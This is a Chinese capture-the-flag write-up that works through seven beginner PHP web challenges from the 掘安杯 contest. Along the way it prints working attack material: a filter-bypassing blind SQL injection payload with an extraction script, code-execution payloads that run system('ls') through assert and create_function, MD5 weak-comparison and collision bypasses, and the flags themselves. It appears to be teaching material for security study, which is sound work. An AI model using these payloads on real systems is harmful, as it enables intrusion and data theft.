前言
掘安杯网络安全技能挑战赛。题目相对简单适合新手入门,偏向php代码基础漏洞的学习。
web1
题目url:http://120.79.1.69:10001/
相当于签到题目,没什么难度,
进行抓包base64解码即可得到第一道题的flag。
amFjdGZ7OWMxZTNkMThjNDMzZDkzZDk2YTk2NGMwMGFkMzBiOGZ9
jactf{9c1e3d18c433d93d96a964c00ad30b8f}
web2
题目url:http://120.79.1.69:10002
可以下载文件源码。但是flag.txt下载不了,查看源码提示。
下载file=flag.php下载源码。
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key)
{
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );#32
$l = strlen ( $key ); #5
for($i = 0; $i<$len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} ))%256 );
}
echo base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
echo $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";
?>
解读:这很明显是个加密解密,其中给了加密后的flag,利用第一个函数加密,钥匙也给了MyCTF。但是不清楚为啥给了解密算法,不给也很容易逆推就可以解出来。
所以最终就是直接decrypt($flag,$key),就会打印出来flag, 也可以验证一下。
web3
url地址:http://120.79.1.69:10003
标题很简单的猜密码,
先看看源码,有PHP源码
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
代码相当精简,如果post的pwd等于当前的时间,就返回flag,尝试过提前预判时间,发现不可以,就只能直接入手题目了,这里用到了一个弱比较,来进行一个空比较,session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置为空,
删除PHPSESSID,然后使得pwd= 空,判断就变成了空等于空,可以得到flag。
web4
url地址:http://120.79.1.69:10004
这个题一开始工具出问题扫半天没扫到,但是完全没有入手点,后来发现是工具字典问题,建议CTF找不到入手点就多扫扫,可能有遗漏,这个题目就是扫目录,有个后门文件,shell.php
一般来说后门文件就是爆破密码,本题也不例外,在burp intruder模块里进行爆破。
web5
url地址:http://120.79.1.69:10005
这道题目综合了三个知识点,python session快速计算提交,注入绕过,代码审计。综合起来还是搞了半天。
1.有个登陆框,
有返回报错信息,不难想到,肯定和注入挂钩,fuzz发现,or被过滤为空,但是很容易绕过,常规双写绕过,select也被过滤了,也可以使用双写绕过,selselectect,后台验证如果是select就替换为空,selselectect 就等于 select,空格被过滤,这里用/**/替换,
最终poc
'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>1/**/--/**/+'
如果正确的话回显用户名正确,错误的话回显用户名错误,基于布尔的盲注。脚本。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import requests
url="http://120.79.1.69:10005/index.php?check"
password=""
for i in range(1,30):
payload="'oorr/**/ascii(substr((seselectlect/**/passwoorrd/**/from/**/`admin`/**/limit/**/0,1),%s,1))>%s/**/--/**/+'"
min=10
max=150
while abs(max-min)>1:
mid=int((max+min)/2)
p = payload % (str(i),str(mid))
data={"username":p}
res=requests.post(url=url,data=data)
if res.content.find("goodboy")!=-1:
min=mid
else:
max=mid
password=password+chr(max)
print password
得到密码。
最终poc
账号:'''='
密码:ajahas&&*44askldajaj
接下来快速计算验证码,py脚本,
# -*- encoding:utf8 -*-
import sys
import requests
import re
url="http://120.79.1.69:10005/index.php"
s=requests.Session()
r=s.get(url=url)
matchp=re.search(r'(.{1}\d+[+\-*]\d+[+\-*]\d+.{1}.{1}){4}.{1}\d+[+\-*]\d+[+\-*]\d+.{1}',r.text).group()#.{1}匹配前面任意一个字符,因为给的括号是中文括>号后面同理。
matchp=matchp.replace(u'(','(')
matchp=matchp.replace(u')',')')
matchp=matchp.replace('X','*')
num=round(eval(matchp))
urls="http://120.79.1.69:10005/index.php?check"
data={"username":"'''='","code":num,"password":"ajahas&&*44askldajaj"}
res=s.post(url=urls,data=data)
print (res.text)
得到回显。
又进入另一个坑,下载zip包,zip包被加密了,
网页回显源码中给出了form的密码,打开form是道代码审计同样很简短。
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "密码正确"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "密码错误"
End If
End Sub
写个python脚本解出flag.jpg的压缩密码。
# -*- encoding:utf8 -*-
def getPassword(str):
restr=''
i=1
while i <=(len(str)):
restr= restr+(str[i-1:i])
i=i+(i%5)
return restr
dict="VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
password=getPassword(dict)
password=getPassword(password)
print (password)
得到密码 VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
将flag.jpg以txt方式打开得到flag。
web6
url地址:http://120.79.1.69:10006
一道代码审计题目,依然很精简。
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
正则匹配
i 不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
精简的源码,考的代码执行,可以参考一下P牛 的create_function()代码注入,不过本题稍微有点点变化,本题其实只有一个点,
传入action参数,我们可控函数,寻找一个能够执行命令的函数就可以,但是需要这个函数有两个参数,eval就不可以,assert可以传入两个参数,可以直接getshell,
正则匹配绕过匹配开头,使用\绕过。
完整poc http://120.79.1.69:8886/web6?action=\assert&arg=system('dir')
由于题目关闭了,本地复现,
通过命令查找,即可获得flag。
后来题目环境变了, assert不能使用了,之前assert可以说是个bug,还是要来一遍正规做法。
题目url:http://120.79.1.69:10006
首先要绕过正则,数字字母下划线被过滤,但是需要调用函数,使用create_function创建函数,\create_function就是调用全局的create_function函数,正好绕过了正则,接下来就是拼接字符串。poc
http://120.79.1.69:10006?action=\create_function&arg=){}system('ls');//
拼入字符串后的结果。
\create_function(){}system('ls');//,'');
得到flag。
web7
这道题目依然是代码审计,主要是考弱比较以及MD5等方面的绕过。
题目url:http://120.79.1.69:8887/web7
打开即可获得源码,这里我贴出源码。
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
还算比较常规比较简单的源码,主要是考几个php知识点。
1.首先需要传参数str1不能等于str2,但是需要md5一样,不清楚的百度php md5弱比较。也就是字符串QNKCDZO 和字符串s878926199a,这两个加密出来的md5是
MD5("QNKCDZO")=0e830400451993494058024219903391
MD5("s878926199a")=0e545993274517709034328855841020
在php中如果是0e开头的字符串进行==比较,会认为是科学记数法0e,0的几次方,所以结果自然是0,这样就达到了字符串比较不相等,但是MD5值相等的绕过方法,前提是0e后面跟的是数字,如果是0e1a223...,0e后面有个a字母则无法转化成0。
2.str3和str4和str1 str2差不多,唯一变化是这次用到了!==需要绕过,但是在这种严密的!==,0e这种不可以绕过了,他会一个一个字符的对比,而不是解析为0,这个时候需要用到数组类型不同来绕过,也就是str3[]=1,str4=0,因为这两种根本不是同一种类型的,所以自然无法比较返回false,进而绕过。
3.str5 str6 str7,首先第一个肯定不能三个相等,但是下面又用严格的判断必须md5相等,在php中===和!==这种几乎是没办法绕过的,所以只能让他们的md5真正相等,如果一开始就去绕可能就陷进去了,这个判断的难点在于找到三个真正相等的MD5值的原型。这里参考一篇文章。
https://xz.aliyun.com/t/3161#toc-5
基于全等的MD5碰撞绕过这一目录下的讲解,很详细,需要下载他所说的两个工具,然后按照他的命令
D:\fastcoll>fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1 #-o参数代表随机生成两个相同MD5的文件
D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj00 jlzj01 #-p参数代表根据jlzj1文件随机生成两个相同MD5的文件,注意:生成的MD5与jlzj1不同
D:\fastcoll>tail.exe -c 128 jlzj00 > a #-c 128代表将jlzj00的最后128位写入文件a,这128位正是jlzj1与jlzj00的MD5不同的原因
D:\fastcoll>tail.exe -c 128 jlzj01 > b #同理
D:\fastcoll>type jlzj0 a > jlzj10 #这里表示将jlzj0和a文件的内容合并写入jlzj10
D:\fastcoll>type jlzj0 b > jlzj11 #同理写入jlzj11
生成文件即可,生成的文件内容进行MD5加密就是相同的,但是需要url编码提交到burp里面发包,如果在浏览器里会自动解码,出现大大小小的各种问题。
编码参考:https://xz.aliyun.com/t/2232
最终将生成的三个url编码之后的分别复制给str5 str6 str7。
4.第四个点,首先post a和b,然后进入第二个判断,a必须是大写字母,b必须是数字,(is_numeric函数也有一些漏洞),b的长度不能大于6,这里我们把视角移到最后一个if判断
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
这里用===判断,b的长度必须为6,刚刚我们说了===很难绕过,所以b的长度就只能为6,其中a不能等于b,这个很容易做到,str8 == str9,
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
很显然又是需要0e来绕过使得md5后的a b相等,这里a的值很简单,利用网上现有的MD5之后的原型QNKCDZO,并且都是大写,但是b想要找到六位的并且0e开头能够利用的仿佛并找不到,这里想了很久,不过还好有一个字符替换,
strtr(hash('md5', $b, false), $m, $n)
这里是将m替换为n,这样我们就可以利用替换,将一些可能构造的md5值构造成我们需要的,比如 0e123123aaa,我们可以让m=a,n=1,替换为0e123123111,这样就可以进行判断绕过了,这里还要提到上面提示了一个点用is_numeric函数的漏洞,他可以接受十六进制,0xFFFF他同样认为是数字,所以我们写个脚本找到0e开头的md5值,然后替换掉其中的字母,最终绕过。
for($i=1000;$i<9999;$i++)
{
$b="0x".$i;
#echo md5($b);
$c=md5($b);
if(preg_match('/^0e/',$c))
{
echo $b."=====>>";
echo $c;
echo "<br/>";
}
}
选择其中一个
0x6156=====>>0ec4899c94ada8d08a6ada8623c6ff01
刚好md5值有数字 cadf,四个字符刚好用长度最大为4的m n来替换,完整的poc,得到flag。